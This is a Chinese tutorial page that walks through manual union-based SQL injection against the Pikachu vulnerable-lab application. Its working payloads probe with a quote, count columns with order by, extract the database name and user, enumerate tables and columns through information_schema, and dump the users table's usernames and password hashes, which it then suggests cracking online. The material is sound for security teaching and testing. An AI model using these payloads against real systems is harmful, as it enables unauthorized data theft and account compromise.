目录

  • 通过information_schema拿下数据库
通过information_schema拿下数据库

手工测试完整案例演示

通过前期的信息获取,到最终拿下整个数据库的敏感数据,我们切换到数据库的操作页面上去,

#获取表名:
select id,email from member where username='kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu';

在数据库里面,是可以跨数据库查询的,你只要把数据库的名字写在前面就可以了

pikachu数据库一共有多少张表,表的名称是什么

我们切换到pikachu里面去,

use pikachu;

在这个地方操作一下,

select id,email from member where username='kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu';


这个就是联合查询,跨数据库到information_schema.tables表里面,去获取相关信息的操作

我们切换到pikachu上面去,站在测试者的角度,确认这个地方是否存在sql注入,以及确认它存在sql注入之后,我们如何通过自己的知识,获取里面的数据

基于报错,使用它返回的结果做逻辑判断,判断这个地方是否存在sql注入,这个时候,我们简单的用单引号做一个测试,输入一共单引号,点查询。

'


发现它报了一个语法错误,根据这个错误,我们能够知道,我们的单引号已经被拼接到sql里面去了,也就是说这个地方是存在sql注入漏洞的,它会把前端的输入当作逻辑的一部分去判断

我们猜测它是字符型的,所以我们可以用单引号、双引号,去做一个相关的测试

kobe' or 1=1#


发现可以遍历出数据,遍历出表里面的数据,并不能达到我们的要求

这个时候,我们可以获取一下基础信息,同样的,我们用这个payload去做测试,

kobe' order by 3#

用联合查询,联合查询之前,我们要order by一下,来确认一下,主查询里面有多少个字段


它报列错误,

kobe' order by 2#


发现它可以查询出来,通过比较,我们可以知道主查询有两个字段,确认有两个字段之后,我们就可以上union,做联合查询

首先我们要获取基础信息,因为根据我们之前学的知识,如果我们想进一步获取information_schema里面的数据,我们至少要能够知道当前数据库示例的名称,

kobe' union select database(),user()#

发现,我们已经把数据库的名称搞出来了,拿到数据库名称之后,我们可以尝试用information_schema获取数据,我们构造一个payload

kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#


这个地方,就可以拿到对应的数据

我们来做进一步的分析,通过表的名称,我们看到这个地方有个users,我们后端的账号密码是不是都存在这个表里面,我们来做进一步的测试

当我们知道表的名称之后,我们想知道表的列,information_schema.columns表里面存着列的名称,所以我们按照刚刚的思路去构造payload,

kobe' union select table_name,column_name from information_schema.columns where table_name='users'#


我们看到许多相关的字段,username、password,我们就知道它里面有账号密码,我们只要把账号密码查出来,那我们不就可以拿到表里面的账号密码信息

kobe' union select username,password from users#


根据我们的经验,一看这个密码就是做过处理的,我们可以在互联网上找一些解密的网站,做一些碰撞,来解出它的明文

5-6通过information_schema拿下数据库案例演示相关推荐

  1. [机器学习与scikit-learn-4]:scikit-learn机器学习的一般流程与案例演示

    作者主页(文火冰糖的硅基工坊):文火冰糖(王文兵)的博客_文火冰糖的硅基工坊_CSDN博客 本文网址:https://blog.csdn.net/HiWangWenBing/article/detai ...

  2. canal工作原理及简单案例演示

    如果有一个这样的需求,数据修改后,需要及时将mysql中修改的记录同步到elasticsearch中,我们怎么来实现呢? 思考30s-,带着这个疑问我们来看一下canal如何为我们解决的 文章目录 1 ...

  3. Java Web 网络商城案例演示五(用户激活)

    Java Web 网络商城案例演示五(用户激活) 1.用户激活 2.登录 3.退出 4.抽取公共页面 5.查询所有分类 6.首页热门商品_最新商品显示 7.商品详情显示 8.基础分页操作 9.首页分类 ...

  4. SequoiaDB Spark Yarn部署及案例演示

    1. 背景 由于MRv1在扩展性.可靠性.资源利用率和多框架等方面存在明显的不足,在Hadoop MRv2中引入了资源管理和调度系统YARN.YARN是 Hadoop MRv2计算机框架中构建的一个独 ...

  5. 案例演示 | 基于Motor-CAD日产聆风汽车电机的多物理场仿真

    一.导读 随着油价不断攀升,能源与环保问题日益突出,国家通过汽车产业的调整或振兴规划,新能源汽车的研发受到越来越多的关注,新能源汽车无疑会成为未来汽车的发展方向.因此,新能源汽车技术一定会在将来发展的 ...

  6. 2021年大数据Flink(二十四):​​​​​​​Allowed Lateness案例演示

    Allowed Lateness案例演示 需求 有订单数据,格式为: (订单ID,用户ID,时间戳/事件时间,订单金额) 要求每隔5s,计算5秒内,每个用户的订单总金额 并添加Watermaker来解 ...

  7. 2021年大数据Flink(二十三):​​​​​​​Watermaker案例演示

    目录 Watermaker案例演示 需求 API 代码实现-1-开发版-掌握 代码实现-2-验证版-了解 Watermaker案例演示 需求 有订单数据,格式为: (订单ID,用户ID,时间戳/事件时 ...

  8. 国产化达梦数据库数据迁移文档:oracle11g数据库转达梦8数据库实例演示

    Oracle 数据库转达梦数据库实例演示 第一章:达梦数据库用户数据准备 ① 直接执行 sql 语句创建用户(该步执行完可直接第二章) ② 使用工具创建用户 第二章:达梦数据库转库 oracle 转达 ...

  9. 国产化人大金仓数据库转库工具:oracle12c数据库转kingbase8.6人大金仓数据库实例演示

    oracle12c数据库转人大金仓数据库实例演示 第一章:数据准备 ① 人大金仓建库建用户 ② 人大金仓授权表空间 ③ 人大金仓创建 schema 表 第二章:转库演示 ① 转库工具准备 ② 创建源库 ...

最新文章

  1. linux网卡设置adsl上网,Linux下设置ADSL自动拨号上网
  2. 单词转换(map对象)
  3. 落谷 P1060 开心的金明
  4. MySQL - 高效的设计MySQL库表
  5. Modules(最小树形图)
  6. 线性表:顺序栈算法实现
  7. 浅说深度学习(4):增强学习
  8. php-cli和php-fpm FastCgi与PHP-fpm之间的关系
  9. 【面试篇】Java多线程并发-Java中的CAS机制算法
  10. 华为鸿蒙系统手机央视,央视再次确认!华为投入巨资打造鸿蒙系统生态:体验媲美七成安卓...
  11. 部分AllWin 平台Android4.4 车机 USB兼容性
  12. ACM ICPC 2011-2012 Northeastern European Regional Contest(NEERC)B Binary Encoding
  13. Spring知识点简介
  14. node-mysql_Nodejs与MySQL交互(felixge/node-mysql)
  15. 视频教程-备战2020毕业季—毕业设计论文实战课程讲解-.NET
  16. SAP Hana 数据库游标使用方法示例
  17. 此数据库处于单用户模式,删除是提示,当前某个用户已与其连接。 ALTER DATABASE 语句失败。 (Microsoft SQL Server,错误: 5064)
  18. 佛山成功办理全省首笔区块链出口退税业务
  19. 个人推荐一款并发测试工具
  20. 团队管理之领导力阅读感悟

热门文章

  1. 2019年小学计算机室管理制度,2018年-2019上小学微机室工作计划.doc
  2. 双击 计算机 打不开,电脑软件双击打不开,是什么回事?怎么处理?
  3. 美国登月,支持者与反对者有何差异
  4. 动态规划--100层楼2只鸡蛋最少次可以测试最高楼层不摔破
  5. 【文献阅读笔记】之基于注意力机制的深度学习路面裂缝检测
  6. 微信能修图!美图秀秀们惊恐之后该怎么做
  7. cordova调用java_Cordova入门系列(三)Cordova插件调用
  8. VSDC Video Editor Pro v6.8.5.350 非线性视频剪辑软件
  9. ETC PSAM指令记录
  10. LOCKED勒索病毒解密 数据恢复